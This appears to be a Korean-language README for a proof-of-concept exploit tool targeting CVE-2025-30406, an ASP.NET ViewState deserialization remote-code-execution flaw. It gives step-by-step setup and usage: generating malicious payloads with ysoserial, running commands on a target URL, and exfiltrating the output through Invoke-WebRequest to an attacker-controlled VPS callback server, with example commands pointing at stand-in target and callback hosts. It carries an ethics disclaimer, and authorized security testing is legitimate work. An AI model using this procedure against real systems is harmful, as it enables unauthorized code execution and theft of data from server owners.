CVE-2025-30406 ViewState Exploit PoC

개요

이것은 ASP.NET 애플리케이션의 CVE-2025-30406 취약점을 대상으로 하는 ViewState 역직렬화(deserialization) 익스플로잇을 시연하는 개념 증명(PoC) 스크립트입니다. ysoserial을 사용하여 악성 ViewState 페이로드를 생성하고, 사용자가 지정한 URL로 전송하여 제공된 명령을 실행합니다. 최상의 결과를 위해 명령 출력은 VPS에서 실행 중인 커스텀 HTTP 서버(server.py)로 유출(exfiltration)될 수 있으며, 이 서버는 타임스탬프, 녹색 프롬프트, 흰색 출력 텍스트로 스타일링된 형식으로 결과를 표시합니다. 이 스크립트는 교육 목적으로만 제작되었으며, 명시적 허가를 받은 시스템에서만 보안 테스트 용도로 사용해야 합니다. 허가 없는 사용은 불법이며 비윤리적입니다.

CVE 세부 정보

• CVE ID: CVE-2025-30406
• 설명: 유효한 검증 키(validation key)와 생성기(generator)가 알려진 경우 원격 코드 실행을 허용하는 ASP.NET ViewState 처리의 역직렬화 취약점.
• 영향을 받는 시스템: 취약한 ViewState 구성을 가진 ASP.NET 애플리케이션.
• 익스플로잇 사전 요구 사항:
  • 유효한 ViewState 검증 키와 생성기에 대한 접근 권한.
  • ViewState 매개변수를 수락하는 취약한 엔드포인트.

저장소 구성

• exploit.py: ViewState 페이로드를 생성하고 전송하는 주요 PoC 스크립트.
• server.py: 유출된 명령 출력을 스타일링된 형식으로 수신하고 표시하는 HTTP 서버.
• README.md: 설정 및 사용 방법이 포함된 이 파일.

사전 요구 사항

• Python 3.x
• requests 라이브러리 (pip install requests)
• ysoserial 실행 파일 (Windows 또는 플랫폼에 맞는 버전)
• 취약한 ASP.NET 애플리케이션 엔드포인트
• server.py를 실행할 VPS 또는 서버 (유출에 권장)
• 대상 시스템을 테스트할 권한

설치

1. 이 저장소를 클론합니다:
   root@kitploit:~

   git clone https://github.com/yourusername/cve-2025-30406-poc.git
   cd cve-2025-30406-poc
   

2. 필요한 Python 패키지를 설치합니다:
   root@kitploit:~

   pip install requests
   

3. ysoserial을 다운로드하여 exploit.py와 같은 디렉터리에 배치하거나 경로를 지정합니다:
   • ysoserial GitHub

VPS에서 설정 (권장)

유출된 명령 출력을 스타일링된 형식으로 수신하려면 VPS에서 server.py를 실행하세요:

1. server.py를 VPS로 복사합니다 (예: scp 사용):
   root@kitploit:~

   scp server.py user@your-vps-ip:/home/user/
   

2. Python 3이 설치되어 있는지 확인합니다:
   root@kitploit:~

   sudo apt update && sudo apt install python3 python3-pip
   

3. 서버를 실행합니다 (기본 포트 8000):
   root@kitploit:~

   python3 server.py
   

4. VPS 방화벽이 포트 8000의 인바운드 트래픽을 허용하는지 확인합니다:
   root@kitploit:~

   sudo ufw allow 8000
   

5. VPS의 공용 IP 또는 도메인을 기록해 둡니다 (예: http://your-vps-ip:8000). exploit.py의 -e 플래그와 함께 사용됩니다.

사용법

익스플로잇 실행

필요한 인수와 함께 exploit.py를 실행합니다. -e 플래그는 선택 사항이지만 명령 출력을 server.py로 유출하여 스타일링된 표시를 보려면 강력히 권장됩니다.

python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]

인수

• -u, --url: 대상 URL (예: http://target.com/page.aspx) [필수]
• -c, --command: 실행할 명령 (예: whoami) [필수]
• -y, --ysoserial: ysoserial 실행 파일 경로 (기본값: ./ysoserial.exe) [선택]
• -e, --exfil: 명령 출력 유출을 위한 콜백 URL (예: http://your-vps:8000) [선택]

예시

1. 유출 없이 실행 (블라인드 실행):
   root@kitploit:~

   python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
   

2. server.py를 실행 중인 VPS로 유출하며 실행 (권장):
   root@kitploit:~

   python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
   

서버 실행

VPS 또는 로컬 머신에서 HTTP 서버를 시작하여 유출된 출력을 수신합니다:

python3 server.py

서버는 명령 출력을 타임스탬프, 녹색 $ 프롬프트, 가독성을 위한 흰색 텍스트로 표시합니다.

작동 방식

1. 익스플로잇 스크립트 (exploit.py):
   • 하드코딩된 검증 키와 생성기를 사용하여 ysoserial로 ViewState 페이로드를 생성합니다.
   • -e가 제공되면 명령이 출력을 캡처하여 Invoke-WebRequest를 통해 콜백 URL로 전송하도록 래핑됩니다.
   • POST 요청의 __VIEWSTATE 매개변수에 페이로드를 포함하여 대상 URL로 전송합니다.
   • 서버의 응답 상태와 응답 본문의 일부를 출력합니다.
2. HTTP 서버 (server.py):
   • 명령 출력이 포함된 GET 요청을 수신합니다.
   • URL 경로를 디코딩하고 줄 단위로 분할합니다.
   • 각 줄을 타임스탬프, 녹색 $ 프롬프트, 흰색 출력 텍스트와 함께 출력합니다.
   • HTTP 200 및 "OK"로 응답합니다.

윤리적 사용 경고

• 이 스크립트는 교육 및 허가된 보안 테스트 목적을 위한 CVE-2025-30406 개념 증명입니다.
• 시스템 소유자의 명시적 허가 없이 이 스크립트를 사용하지 마십시오.
• 오용은 미국의 컴퓨터 사기 및 남용법(CFAA) 또는 다른 국가의 유사 법률을 위반할 수 있습니다.
• 시스템을 테스트하기 전에 항상 서면 동의를 받으십시오.
• 취약점은 조정된 공개(coordinated disclosure) 또는 버그 바운티 프로그램을 통해 책임감 있게 보고하십시오.

제한 사항

• 하드코딩된 검증 키와 생성기는 특정 취약한 애플리케이션에서만 작동할 수 있습니다. 사용자는 애플리케이션별 값이 필요할 수 있습니다.
• 이 익스플로잇은 ViewState 역직렬화에 취약한 ASP.NET 애플리케이션을 대상으로 합니다.
• 이 스크립트는 대상 서버가 ViewState 페이로드를 올바르게 처리한다고 가정합니다.
• 크로스 플랫폼 호환성은 ysoserial 사용 가능 여부에 따라 달라집니다 (주로 Windows 기반).
• 유출에는 -e 콜백 URL에 대한 공개적으로 접근 가능한 서버가 필요합니다.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하십시오.

연락처

질문이나 피드백이 있으면 이 저장소에 이슈를 열어 주십시오.